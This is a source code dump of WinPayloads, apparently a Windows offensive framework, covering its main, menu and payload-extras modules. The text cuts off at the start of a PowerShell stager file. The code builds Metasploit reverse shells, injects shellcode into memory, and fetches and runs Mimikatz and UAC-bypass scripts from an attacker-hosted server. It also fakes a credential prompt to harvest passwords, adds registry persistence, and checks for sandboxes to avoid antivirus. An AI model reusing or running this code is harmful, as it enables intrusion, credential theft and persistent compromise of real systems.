import psexec 21 | import urllib2 22 | from collections import OrderedDict 23 | import string 24 | import asyncore 25 | import ssl 26 | import threading 27 | import prompt_toolkit 28 | from prompt_toolkit.contrib.completers import WordCompleter 29 | import netifaces 30 | 31 | t = blessed.Terminal() 32 | 33 | helpDict = { 34 | '1' : '- Generates a metasploit reverse tcp shell.', 35 | '2' : '- Generates a metasploit reverse tcp meterpreter shell.', 36 | '3' : '- Generates a metasploit bind tcp meterpreter shell.', 37 | '4' : '- Generates a metasploit reverse HTTPS meterpreter shell.', 38 | '5' : '- Generates a metasploit reverse meterpreter shell with DNS.', 39 | '6' : '- Generates a custom payload from user input (shellcode)', 40 | 'stager' : '- Produces a small base64 encoded powershell one liner that can be used for metasploit payloads and the powershell menu.'\ 41 | ' It is small enough to fit in a windows run prompt and can be used with a ducky for quick exploitation\n'\ 42 | '- After a connection has been made, you can select any metasploit payload and it will give you the option to execute the'\ 43 | ' payload over the powershell stager(without touching disk) and therefore has improved AV evasion.\n'\ 44 | '- Stagers can be used in reverse (prefered) or bind TCP and traffic is encrypted.', 45 | 'sandbox' : '- Select anti sandboxing techniques for use in metasploit payloads and stager payloads.\n'\ 46 | '- Values in [] are default values and when generating a payload user input will be taken', 47 | 'persistence' : '- After payload executes, a registry key will be added and the powershell payload will'\ 48 | 'be saved on the file system as $env:USERPROFILE/update.txt. Upon boot, the payload will execute.', 49 | 'uacbypass' : '- Will try to bypass UAC on users that run as local admin. If bypass successfull, two shells should return'\ 50 | ' and one of them will be running as local administrator.', 51 | 'allchecks' : '- After meterpreter connection, AllChecks.ps1 will execute, giving the user posible ways to privilige escalate.', 52 | 'interface' : '- This menu allows you to select the default interface for WinPayloads to use for all network tasks', 53 | 'cleanup' : '- Will remove all .exe in the default payload directory', 54 | 'clients' : '- This is the client menu. You will only be able to access this after recieving a stager connection. '\ 55 | '- A client connection can be made from using the stager menu option', 56 | 'ps' : '- This is the powershell scripts menu, it can only be accessed after recieveing a stager connection.\n'\ 57 | '- Payloads in this menu will be directly executed over the stager connection.' 58 | 59 | } 60 | 61 | 62 | def sandboxChoose(choice): 63 | from menu import sandboxMenuOptions, getAndRunSandboxMenu 64 | if sandboxMenuOptions[choice]['availablemodules']: 65 | sandboxMenuOptions[choice]['availablemodules'] = None 66 | else: 67 | sandboxMenuOptions[choice]['availablemodules'] = {str('ON'): ''} 68 | return "clear" 69 | 70 | 71 | def payloaddir(): 72 | return os.path.expanduser('~') + '/winpayloads' 73 | 74 | def msfvenomGeneration(payload, ip, port): 75 | p = subprocess.Popen(['msfvenom', '-p', payload, 'LHOST=' + str(ip), 'LPORT=' + str(port), '-f', 'python', '-e', 'x86/shikata_ga_nai'], bufsize=1024, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 76 | LOADING = Spinner('Generating Shellcode') 77 | while p.poll() == None: 78 | LOADING.Update() 79 | time.sleep(0.2) 80 | print '\r', 81 | sys.stdout.flush() 82 | 83 | payload = p.stdout.read() 84 | compPayload = re.findall(r'"(.*?)"', payload) 85 | 86 | return ''.join(map(str, compPayload)) 87 | 88 | 89 | def getHelp(*helpItem): 90 | helpItem = ''.join(helpItem) 91 | if helpDict.has_key(helpItem): 92 | return helpDict[helpItem] 93 | else: 94 | return t.bold_red + '[!] Enter a valid menu option to recieve help' 95 | 96 | class HANDLER(SimpleHTTPServer.SimpleHTTPRequestHandler): #patching httpserver to shutup 97 | def log_message(self, format, *args): 98 | return 99 | 100 | class InterfaceSelecta(): 101 | def __init__(self): 102 | self.num = 0 103 | self.interfaces = [] 104 | self.interface = None 105 | self.defaultInterfaceName = None 106 | 107 | try: 108 | self.defaultInterfaceName = netifaces.gateways()['default'][netifaces.AF_INET][1] 109 | except KeyError: 110 | pass 111 | 112 | for interface in netifaces.interfaces(): 113 | self.num += 1 114 | 115 | if self.defaultInterfaceName == interface: 116 | isdefault = True 117 | else: 118 | isdefault = False 119 | try: 120 | self.interfaces += [{'num': self.num, 'interface': interface, 'addr': netifaces.ifaddresses(interface)[netifaces.AF_INET][0]['addr'], 'default': isdefault}] 121 | except: 122 | pass 123 | 124 | for interface in self.interfaces: 125 | if interface['default']: 126 | self.interface = interface 127 | if not self.interface: 128 | if interface['interface'] == 'lo': 129 | self.interface = interface 130 | else: 131 | self.interface = interface 132 | 133 | 134 | def ChooseInterface(self, set=False): 135 | if set: 136 | for i in self.interfaces: 137 | if self.interface == i: 138 | currentinterface = t.bold_green + ' *' 139 | else: 140 | currentinterface = '' 141 | print t.bold_yellow + str(i['num']) + ': ' + t.normal + i['addr'] + ' (' + i['interface'] + ')' + currentinterface 142 | 143 | while True: 144 | interinput = prompt_toolkit.prompt("Interface > ", completer=WordCompleter([str(x+1) for x in range(self.num-1)]), style=prompt_toolkit.styles.style_from_dict({prompt_toolkit.token.Token: '#FFCC66'})) 145 | for i in self.interfaces: 146 | if interinput == str(i['num']): 147 | self.interface = i 148 | return self.interface 149 | 150 | return self.interface 151 | 152 | 153 | 154 | class SHELLCODE(object): 155 | @staticmethod 156 | def windows_rev_shell(ip, port): 157 | return msfvenomGeneration('windows/shell_reverse_tcp', ip, port) 158 | 159 | @staticmethod 160 | def windows_met_rev_shell(ip, port): 161 | return msfvenomGeneration('windows/meterpreter/reverse_tcp', ip, port) 162 | 163 | @staticmethod 164 | def windows_met_bind_shell(ip, port): 165 | return msfvenomGeneration('windows/meterpreter/bind_tcp', ip, port) 166 | 167 | @staticmethod 168 | def windows_met_rev_https_shell(ip, port): 169 | return msfvenomGeneration('windows/meterpreter/reverse_https', ip, port) 170 | 171 | @staticmethod 172 | def windows_met_rev_shell_dns(ip, port): 173 | return msfvenomGeneration('windows/meterpreter/reverse_tcp_dns', ip, port) 174 | 175 | @staticmethod 176 | def windows_custom_shellcode(): 177 | customshell = '' 178 | print 'Paste custom shellcode below\nType \'END\' when done.' 179 | while True: 180 | buildstr = raw_input().rstrip() 181 | if buildstr == 'END': 182 | break 183 | else: 184 | customshell += buildstr 185 | return customshell 186 | 187 | @staticmethod 188 | def windows_ps_ask_creds_tcp(): 189 | return ( 190 | "$ErrorActionPreference=\'SilentlyContinue\';Add-Type -assemblyname system.DirectoryServices.accountmanagement;" 191 | "$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine);" 192 | "$domainDN = \'LDAP://\' + ([ADSI]\'\').distinguishedName;" 193 | "$credential = $host.ui.PromptForCredential(\'Credentials are required to perform this operation!\', \'\', \'\', \'\');" 194 | "if($credential){$creds = $credential.GetNetworkCredential();$user = $creds.username;$pass = $creds.password;" 195 | "echo \' INCORRECT:\'$user\':\'$pass;" 196 | "$authlocal = $DS.ValidateCredentials($user, $pass);" 197 | "$authdomain = New-Object System.DirectoryServices.DirectoryEntry($domainDN,$user,$pass);" 198 | "if(($authlocal -eq $true) -or ($authdomain.name -ne $null)){" 199 | "echo \' CORRECT:\'$user\':\'$pass}}") 200 | 201 | @staticmethod 202 | def windows_invoke_mimikatz(): 203 | return ( 204 | "IEX (New-Object Net.WebClient).DownloadString(\\\"http://%s:%s/Invoke-Mimikatz.ps1\\\");" 205 | "Invoke-Mimikatz -DumpCreds") 206 | 207 | @staticmethod 208 | def windows_uac_bypass(): 209 | return ( 210 | "IEX (New-Object Net.WebClient).DownloadString(\\\"http://%s:%s/Invoke-SilentCleanUpBypass.ps1\\\");" 211 | "Invoke-SilentCleanUpBypass -Command \\\"powershell.exe -c %s\\\"") 212 | 213 | 214 | injectwindows = """ 215 | shellcode = bytearray('%s') 216 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40)) 217 | bufe = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) 218 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),bufe,ctypes.c_int(len(shellcode))) 219 | ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0))) 220 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1)) 221 | """ 222 | 223 | 224 | class FUNCTIONS(object): 225 | 226 | def powershellShellcodeLayout(self,powershellExec): 227 | powershellShellcode = re.sub(r'\\x', '0x', powershellExec) 228 | count = 0 229 | newpayloadlayout = '' 230 | for char in powershellShellcode: 231 | count += 1 232 | newpayloadlayout += char 233 | if count == 4: 234 | newpayloadlayout += ',' 235 | count = 0 236 | return newpayloadlayout 237 | 238 | def ServePayload(self, payloaddirectory, IP, port): 239 | try: 240 | os.chdir(payloaddirectory) 241 | httpd = SocketServer.TCPServer((IP, port), HANDLER) 242 | httpd.serve_forever() 243 | except KeyboardInterrupt: 244 | pass 245 | except: 246 | print t.bold_red + '\n[*] Port in use' + t.normal 247 | 248 | def DoServe(self, IP, payloadname, payloaddir, port, printIt): 249 | if printIt: 250 | print t.bold_green + "\n[*] Serving Payload On http://%s:%s/%s.exe" % (IP, port, payloadname) + t.normal 251 | a = multiprocessing.Process( 252 | target=self.ServePayload, args=(payloaddir, IP, port)) 253 | a.daemon = True 254 | a.start() 255 | 256 | def randomUnusedPort(self): 257 | from menu import returnIP 258 | s = socket.socket() 259 | s.bind((returnIP(), 0)) 260 | port = s.getsockname()[1] 261 | s.close() 262 | return port 263 | 264 | def stagePowershellCode(self, powershellFileContents, port): 265 | from menu import returnIP 266 | DIR = 'stager' 267 | if not os.path.isdir(DIR): 268 | os.mkdir(DIR) 269 | os.chdir(DIR) 270 | with open('stage.ps1','w') as psFile: 271 | psFile.write(powershellFileContents) 272 | httpd = SocketServer.TCPServer((returnIP(), port), HANDLER) 273 | httpd.handle_request() 274 | os.chdir('..') 275 | import shutil 276 | shutil.rmtree(DIR) 277 | 278 | class Spinner(object): 279 | 280 | def __init__(self,text): 281 | self.spinner = [ 282 | ["|", "\\", "-", "/"], 283 | ["▁","▃","▄","▅","▆","▇","█","▇","▆","▅","▄","▃"], 284 | ["◡◡", "⊙⊙", "◠◠"], 285 | ["◐","◓","◑","◒"], 286 | ["▉","▊","▋","▌","▍","▎","▏","▎","▍","▌","▋","▊","▉"], 287 | [".","o","O","@","*"], 288 | ["◴","◷","◶","◵"], 289 | ["▖","▘","▝","▗"], 290 | ["←","↖","↑","↗","→","↘","↓","↙"], 291 | ["█▒▒▒▒▒▒","██▒▒▒▒▒","███▒▒▒▒","████▒▒▒","█████▒▒","██████▒","███████"], 292 | ["◢","◣","◤","◥"], 293 | ["( ● )", "( ● )", "( ● )", "( ● )", "( ●)", "( ● )", "( ● )", "( ● )", "( ● )", "(● )"] 294 | ] 295 | self.loading = list(text) 296 | self.randomchoice = random.choice(self.spinner) 297 | self.spin_1 = len(self.randomchoice) 298 | self.spin_2 = len(self.loading) + 1 299 | self.x = 0 300 | 301 | def Looper(self, text): 302 | print t.bold_green, 303 | sys.stdout.write('\r') 304 | sys.stdout.write(text) 305 | print t.normal, 306 | sys.stdout.flush() 307 | 308 | def Update(self): 309 | self.spin_2mod = self.x % self.spin_2 310 | self.Looper(self.randomchoice[self.x % self.spin_1] + " " + "".join( 311 | self.loading[0: (self.spin_2mod)]) + (" " * (self.spin_2 - self.spin_2mod))) 312 | self.x += 1 313 | -------------------------------------------------------------------------------- /lib/menu.py: -------------------------------------------------------------------------------- 1 | from __future__ import unicode_literals 2 | from main import * 3 | from payloadextras import * 4 | from startmetasploit import * 5 | from generatepayload import * 6 | from preparepayload import * 7 | from stager import * 8 | import glob 9 | 10 | GetIP = InterfaceSelecta() 11 | 12 | 13 | def returnIP(): 14 | return GetIP.ChooseInterface()['addr'] 15 | 16 | def returnINTER(): 17 | return str(GetIP.ChooseInterface()['interface']) 18 | 19 | def doInterfaceSelect(): 20 | GetIP.ChooseInterface(set=True) 21 | return "clear" 22 | 23 | def menuRaise(): 24 | if killAllClients(): 25 | raise KeyboardInterrupt 26 | 27 | def noColourLen(colourString): 28 | return len(re.compile(r'(\x9B|\x1B\[)[0-?]*[ -\/]*[@-~]').sub('', colourString)) 29 | 30 | def noColourCenter(colourString): 31 | len = (t.width / 2) - (noColourLen(colourString) /2 ) 32 | if len % 2 > 0: 33 | len -= 1 34 | return (' ' * len) + colourString 35 | 36 | def cleanUpPayloads(): 37 | payloadsRemoved = 0 38 | for i in glob.glob(payloaddir() + "/*.exe"): 39 | os.remove(i) 40 | payloadsRemoved += 1 41 | print t.bold_green + "[*] %s Payloads removed...."% payloadsRemoved + t.normal 42 | return "clear" 43 | 44 | def getAndRunSandboxMenu(): 45 | sandboxMenu = MenuOptions(sandboxMenuOptions, menuName="Sandbox Menu") 46 | sandboxMenu.runmenu() 47 | return "pass" 48 | 49 | def getAndRunPSMenu(): 50 | if len(clientMenuOptions) > 2: 51 | psMenu = MenuOptions(psMenuOptions(), menuName="PS Menu") 52 | psMenu.runmenu() 53 | else: 54 | print t.bold_red + "[!] Clients are needed to access this menu" + t.normal 55 | return "pass" 56 | 57 | def getAndRunClientMenu(): 58 | if len(clientMenuOptions) > 2: 59 | clientMenu = MenuOptions(clientMenuOptions, menuName="Client Menu") 60 | clientMenu.runmenu() 61 | else: 62 | print t.bold_red + "[!] Clients are needed to access this menu" + t.normal 63 | return "pass" 64 | 65 | def getAndRunMainMenu(): 66 | mainMenu = MenuOptions(mainMenuOptions(), menuName="Main Menu") 67 | mainMenu.runmenu() 68 | return "pass" 69 | 70 | def returnText(colour, text): 71 | print colour + text + t.normal 72 | 73 | def mainMenuOptions(): 74 | return OrderedDict([ 75 | ('1', {'payloadchoice': SHELLCODE.windows_rev_shell, 'payload': 'Windows_Reverse_Shell', 'extrawork': reversePayloadGeneration, 'availablemodules': None, 'params': None}), 76 | ('2', {'payloadchoice': SHELLCODE.windows_met_rev_shell, 'payload': 'Windows_Meterpreter_Reverse_Shell', 'extrawork': reversePayloadGeneration, 'availablemodules': METASPLOIT_Functions['reverse'], 'params': None}), 77 | ('3', {'payloadchoice': SHELLCODE.windows_met_bind_shell, 'payload': 'Windows_Meterpreter_Bind_Shell', 'extrawork': bindPayloadGeneration, 'availablemodules': METASPLOIT_Functions['bind'], 'params': None}), 78 | ('4', {'payloadchoice': SHELLCODE.windows_met_rev_https_shell, 'payload': 'Windows_Meterpreter_Reverse_HTTPS', 'extrawork': httpsPayloadGeneration, 'availablemodules': METASPLOIT_Functions['https'], 'params': None}), 79 | ('5', {'payloadchoice': SHELLCODE.windows_met_rev_shell_dns, 'payload': 'Windows_Meterpreter_Reverse_Dns', 'extrawork': dnsPayloadGeneration, 'availablemodules': METASPLOIT_Functions['dns'], 'params': None}), 80 | ('6', {'payloadchoice': SHELLCODE.windows_custom_shellcode, 'payload': 'Windows_Custom_Shellcode', 'extrawork': customShellcodeGeneration, 'availablemodules': None, 'params': None, 'spacer': True}), 81 | ('sandbox', {'payloadchoice': None, 'payload': 'Sandbox Evasion Menu', 'extrawork': getAndRunSandboxMenu, 'params': None}), 82 | ('ps', {'payloadchoice': None, 'payload': 'PowerShell Menu', 'extrawork': getAndRunPSMenu, 'params': None}), 83 | ('clients', {'payloadchoice': None, 'payload': 'Client Menu', 'extrawork': getAndRunClientMenu, 'params': None, 'spacer': True}), 84 | ('stager', {'payloadchoice': None, 'payload': 'Powershell Stager', 'extrawork': printListener, 'params': None}), 85 | ('cleanup', {'payloadchoice': None, 'payload': 'Clean Up Payload Directory', 'extrawork': cleanUpPayloads, 'params': None, 'availablemodules': {len(glob.glob(payloaddir() + "/*.exe")): ''}}), 86 | ('interface', {'payloadchoice': None, 'payload': 'Set Default Network Interface', 'extrawork': doInterfaceSelect, 'params': None, 'availablemodules': {returnINTER(): ''}, 'spacer': True}), 87 | ('?', {'payloadchoice': None, 'payload': 'Help', 'extrawork': getHelp, 'params': None}), 88 | ('exit', {'payloadchoice': None, 'payload': 'Exit', 'extrawork': menuRaise, 'params': None}), 89 | ]) 90 | 91 | def psMenuOptions(): 92 | return OrderedDict([ 93 | ('1', {'payloadchoice': None, 'payload': 'Screen_Watch', 'extrawork': returnText , 'params': (t.bold_red, 'Module is borked...')}), 94 | ('2', {'payloadchoice': SHELLCODE.windows_ps_ask_creds_tcp, 'payload': 'Asks_Creds', 'extrawork': reversePowerShellAskCredsGeneration, 'params': None}), 95 | ('3', {'payloadchoice': SHELLCODE.windows_invoke_mimikatz, 'payload': 'Invoke_Mimikatz', 'extrawork': reversePowerShellInvokeMimikatzGeneration, 'params': None}), 96 | ('4', {'payloadchoice': SHELLCODE.windows_uac_bypass, 'payload': 'UAC_Bypass', 'extrawork': UACBypassGeneration, 'params': None}), 97 | ('clients', {'payloadchoice': None, 'payload': 'Connected Interpreter Clients', 'extrawork': getAndRunClientMenu, 'params': None}), 98 | ('back', {'payloadchoice': None, 'payload': 'Main Menu', 'extrawork': getAndRunMainMenu, 'params': None}), 99 | ]) 100 | 101 | clientMenuOptions = OrderedDict([ 102 | ('back', {'payloadchoice': None, 'payload': 'Main Menu', 'extrawork': getAndRunMainMenu, 'params': None}), 103 | ('r', {'payloadchoice': None, 'payload': 'Refresh', 'extrawork': getAndRunClientMenu, 'params': None}), 104 | ]) 105 | 106 | sandboxMenuOptions = OrderedDict([ 107 | ('1', {'payloadchoice': 'click_tracker', 'payload': 'Wait for [10] Mouse Clicks', 'extrawork': sandboxChoose, 'params': '1', 'availablemodules': None}), 108 | ('2', {'payloadchoice': 'user_prompt', 'payload': 'Wait until User Accepts Prompt', 'extrawork': sandboxChoose, 'params': '2', 'availablemodules': None}), 109 | ('3', {'payloadchoice': 'check_all_process_names', 'payload': 'Check Known Sandboxing Processes', 'extrawork': sandboxChoose, 'params': '3', 'availablemodules': None}), 110 | ('4', {'payloadchoice': 'check_all_DLL_names', 'payload': 'Check Known Sandboxing DLL\'s', 'extrawork': sandboxChoose, 'params': '4', 'availablemodules': None}), 111 | ('5', {'payloadchoice': 'disk_size', 'payload': 'Check Disk Size > [50]gb', 'extrawork': sandboxChoose, 'params': '5', 'availablemodules': None}), 112 | ('6', {'payloadchoice': 'registry_size', 'payload': 'Check Registry Size > [55]mb', 'extrawork': sandboxChoose, 'params': '6', 'availablemodules': None}), 113 | ('7', {'payloadchoice': 'username', 'payload': 'Check Username = [\'administrator\']', 'extrawork': sandboxChoose, 'params': '7', 'availablemodules': None}), 114 | ('back', {'payloadchoice': None, 'payload': 'Main Menu', 'extrawork': getAndRunMainMenu, 'params': None, 'availablemodules': None}), 115 | ]) 116 | 117 | 118 | class promptComplete(prompt_toolkit.completion.Completer): 119 | def __init__(self, choices): 120 | super(promptComplete, self).__init__() 121 | self.choices = choices 122 | 123 | def get_completions(self, document, complete_event): 124 | lastWord, firstWord = None, None 125 | word_before_cursor = document.get_word_before_cursor(WORD=True).lower() 126 | all_text = document.text_before_cursor 127 | try: 128 | lastWord = all_text.split()[-1] 129 | firstWord = all_text.split()[0] 130 | except: 131 | pass 132 | if firstWord == '?': 133 | return [prompt_toolkit.completion.Completion(x, start_position=-len(word_before_cursor)) for x in helpDict if x.startswith(word_before_cursor)] 134 | return [prompt_toolkit.completion.Completion(x, start_position=-len(word_before_cursor)) for x in self.choices if x.startswith(document.text)] 135 | 136 | 137 | class MenuOptions(object): 138 | def __init__(self, choices, menuName): 139 | self.choices = choices 140 | self.menuName = menuName 141 | self.style = prompt_toolkit.styles.style_from_dict({ 142 | prompt_toolkit.token.Token: '#FFCC66' 143 | }) 144 | 145 | def _choose(self, n): 146 | option = None 147 | try: 148 | n, option = n.split() 149 | except: 150 | pass 151 | if self.choices.has_key(n): 152 | if n == '?': 153 | return (True, self.choices[n]['payloadchoice'], self.choices[n]['payload'], self.choices[n]['extrawork'], option) 154 | else: 155 | return (True, self.choices[n]['payloadchoice'], self.choices[n]['payload'], self.choices[n]['extrawork'], self.choices[n]['params']) 156 | else: 157 | if not n == "": 158 | print t.bold_red + '[*] Wrong Selection' + t.normal 159 | return (False, None, None, None, None) 160 | 161 | def runmenu(self): 162 | self.printMenues(True) 163 | while True: 164 | user_choice = prompt_toolkit.prompt('%s > '%(self.menuName),style=self.style, patch_stdout=True, completer=promptComplete(self.choices)).rstrip(' ') 165 | success, payloadchoice, payload, extrawork, params = self._choose(user_choice) 166 | 167 | if not success: 168 | continue 169 | if extrawork: 170 | if payloadchoice and callable(payloadchoice) and payloadchoice != 'help': 171 | result = extrawork(payloadchoice,payload) 172 | elif params: 173 | result = extrawork(*params) 174 | else: 175 | result = extrawork() 176 | if result == "noclear": 177 | self.printMenues(False) 178 | if result == "clear": 179 | if self.menuName == 'Main Menu': 180 | getAndRunMainMenu() 181 | elif self.menuName == 'PowerShell Menu': 182 | getAndRunPSMenu() 183 | elif self.menuName == 'Stager Connected Clients': 184 | self.printMenues(True) 185 | elif self.menuName == 'Sandbox Menu': 186 | getAndRunSandboxMenu() 187 | elif result == "pass": 188 | pass 189 | else: 190 | if result: 191 | print result 192 | 193 | def printMenues(self,toClear): 194 | Splash(toClear) 195 | if t.width % 2 > 0: 196 | adjust = 0 197 | else: 198 | adjust = -1 199 | print t.bold_black + '=' * (t.width / 2 - (len(self.menuName) / 2)) + t.yellow + self.menuName + t.bold_black + '=' * (t.width / 2 - ((len(self.menuName) / 2)- adjust)) + t.normal 200 | maxlen = 0 201 | arr = [] 202 | for i in self.choices.iterkeys(): 203 | menuPrintString = t.bold_yellow + str(i) + ': ' + t.normal + str(self.choices[i]['payload']).replace('_',' ') 204 | if 'availablemodules' in self.choices[i].keys() and self.choices[i]['availablemodules']: 205 | menuPrintString += t.bold_green + ' ' + str(self.choices[i]['availablemodules'].keys()).replace('\'','').replace('normal, ','') + t.normal 206 | if 'spacer' in self.choices[i]: 207 | menuPrintString += '\n' 208 | 209 | nocolourlen = noColourLen(menuPrintString) 210 | if nocolourlen > maxlen: 211 | maxlen = nocolourlen 212 | arr.append(menuPrintString) 213 | 214 | for i in arr: 215 | spacing = (t.width / 2) - (maxlen / 2) 216 | if spacing % 2 > 0: 217 | spacing -= 1 218 | if len(i) % 2 > 0: 219 | adjust = 0 220 | else: 221 | adjust = 1 222 | print (' '* spacing) + i + (' ' * (spacing - adjust)) 223 | print t.bold_black + '='*t.width + t.normal 224 | 225 | def Splash(toClear): 226 | if toClear: 227 | print t.clear 228 | print t.bold_red 229 | print noColourCenter("_ ___ ____ __ __") 230 | print noColourCenter(" | | / (_)___ / __ \____ ___ __/ /___ ____ _____/ /____") 231 | print noColourCenter(" | | /| / / / __ \/ /_/ / __ `/ / / / / __ \/ __ `/ __ / ___/") 232 | print noColourCenter(" | |/ |/ / / / / / ____/ /_/ / /_/ / / /_/ / /_/ / /_/ (__ )") 233 | print noColourCenter(" |__/|__/_/_/ /_/_/ \__,_/\__, /_/\____/\__,_/\__,_/____/") 234 | print noColourCenter(" /____/NCCGroup - CharlieDean" + t.normal) 235 | -------------------------------------------------------------------------------- /lib/payloadextras.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import re 3 | from main import * 4 | 5 | class EXTRAS(object): 6 | def __init__(self,shellcode): 7 | self.shellcode = shellcode 8 | 9 | self.injectshellcode_layout = FUNCTIONS().powershellShellcodeLayout(self.shellcode).rstrip(',') 10 | self.injectshellcode_sleep = """Start-Sleep -s 60;$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = %s;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-enc ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\\v1.0\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}""" % ( 11 | self.injectshellcode_layout) 12 | self.injectshellcode_nosleep = """$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = %s;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-enc ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\\v1.0\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}""" % ( 13 | self.injectshellcode_layout) 14 | 15 | def PERSISTENCE(self): 16 | with open('persist.ps1', 'w') as persistfile: 17 | persistfile.write("echo \"%s\" | out-file $env:USERPROFILE/update.txt;New-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name Updater -PropertyType String -Value 'C:\\Windows\\System32\WindowsPowerShell\\v1.0\\powershell.exe -c \"powershell -exec bypass -NonInteractive -WindowStyle Hidden -enc (Get-Content $env:USERPROFILE\update.txt)\"'" % base64.b64encode(self.injectshellcode_sleep.encode('utf_16_le'))) 18 | persistfile.close() 19 | with open('persist.rc', 'w') as persistfilerc: 20 | persistfilerc.write("""run post/windows/manage/exec_powershell SCRIPT=persist.ps1 SESSION=1""") 21 | persistfilerc.close() 22 | return self.shellcode 23 | 24 | def UACBYPASS(self, version): 25 | from menu import returnIP 26 | randomPort = FUNCTIONS().randomUnusedPort() 27 | uacbypassrcfilecontents = """run post/windows/manage/exec_powershell SCRIPT="IEX (New-Object Net.WebClient).DownloadString('http://%s:%s/stage.ps1')" SESSION=1"""% (returnIP(), randomPort) 28 | moduleport = FUNCTIONS().randomUnusedPort() 29 | FUNCTIONS().DoServe(returnIP(), "", "./externalmodules", port = moduleport, printIt = False) 30 | if version == "7": 31 | uacbypassfilecontent = """IEX (New-Object Net.WebClient).DownloadString("http://%s:%s/Invoke-BypassUAC.ps1");\nInvoke-BypassUAC -Command \"powershell -enc %s\" """ % ( 32 | returnIP(), moduleport, base64.b64encode(self.injectshellcode_nosleep.encode('utf_16_le'))) 33 | a = multiprocessing.Process(target=FUNCTIONS().stagePowershellCode, args=(uacbypassfilecontent, randomPort)) 34 | a.daemon = True 35 | a.start() 36 | elif version == "10": 37 | uacbypassfilecontent = """IEX (New-Object Net.WebClient).DownloadString("http://%s:%s/Invoke-SilentCleanUpBypass.ps1");\nInvoke-SilentCleanUpBypass -Command \"cmd /c powershell -WindowStyle Hidden -enc %s && REM\" """ % ( 38 | returnIP(), moduleport, base64.b64encode(self.injectshellcode_nosleep.encode('utf_16_le'))) 39 | a = multiprocessing.Process(target=FUNCTIONS().stagePowershellCode, args=(uacbypassfilecontent, randomPort)) 40 | a.daemon = True 41 | a.start() 42 | with open('uacbypass.rc', 'w') as uacbypassfilerc: 43 | uacbypassfilerc.write(uacbypassrcfilecontents) 44 | uacbypassfilerc.close() 45 | return self.shellcode 46 | 47 | def ALLCHECKS(self): 48 | from menu import returnIP 49 | moduleport = FUNCTIONS().randomUnusedPort() 50 | FUNCTIONS().DoServe(returnIP(), "", "./externalmodules", port = moduleport, printIt = False) 51 | with open('allchecks.ps1', 'w') as allchecksfile: 52 | allchecksfile.write( 53 | """IEX (New-Object Net.WebClient).DownloadString("http://%s:%s/PowerUp.ps1");invoke-allchecks"""%(returnIP(), moduleport)) 54 | allchecksfile.close() 55 | return self.shellcode 56 | 57 | def RETURN_EZ2READ_SHELLCODE(self): 58 | return self.shellcode 59 | -------------------------------------------------------------------------------- /lib/powershell/stager.ps1: -------------------------------------------------------------------------------- 1 | #$ErrorActionPreference = 'SilentlyContinue' 2 | $byteAmount = New-Object Byte[] 10500 3 | $Base64Cert = 